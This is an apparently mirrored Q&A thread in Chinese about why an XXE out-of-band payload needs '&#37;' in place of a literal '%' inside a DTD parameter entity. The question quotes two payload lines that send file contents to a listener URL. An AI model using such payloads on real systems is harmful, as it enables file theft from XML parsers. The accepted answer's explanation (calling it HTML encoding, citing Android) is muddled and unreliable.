【问题标题】:What is the meaning of '%' in this XML DTD?这个 XML DTD 中的 '%' 是什么意思?
【发布时间】:2021-10-17 10:49:13
【问题描述】:

当我练习 XXE 时,我发现当我使用下面的 DTD ENTITY 发送我的请求时它可以工作。

<!ENTITY % print "<!ENTITY &#37; send SYSTEM 'http://localhost:9090/landing?text=%file;'>">

但是当我发送这个时它不起作用。

<!ENTITY % print "<!ENTITY % send SYSTEM 'http://localhost:9090/landing?text=%file;'>">

它们的区别是“%”和“%”,我想知道为什么我这里直接使用“%”时不起作用。 谢谢。

【问题讨论】:

    标签: xml dtd xxe


    【解决方案1】:

    这是 XML 文件的 PARAMETER ENTITY 声明中的 HTML 编码百分比 % 符号(转义序列) - 并且 XML 使用 HTML 编码,以免破坏语法。

    在 Android XML 中也是如此,它也知道 %% ...
    原始的% 通常用于替换。

    规范版本是:

    由于 XML 语法使用一些字符作为标记和属性,因此无法直接在 XML 标记或属性值中使用这些字符。

    这就是为什么 XML 中的一些特殊字符的行为类似于“保留关键字”。

    另见15.3. Understanding XML DTDs

    【讨论】:

      猜你喜欢
      • 2014-10-19
      • 1970-01-01
      • 2011-04-11
      • 2018-10-29
      • 1970-01-01
      • 2021-12-15
      • 1970-01-01
      • 2017-05-25
      • 2010-10-03
      相关资源
      最近更新 更多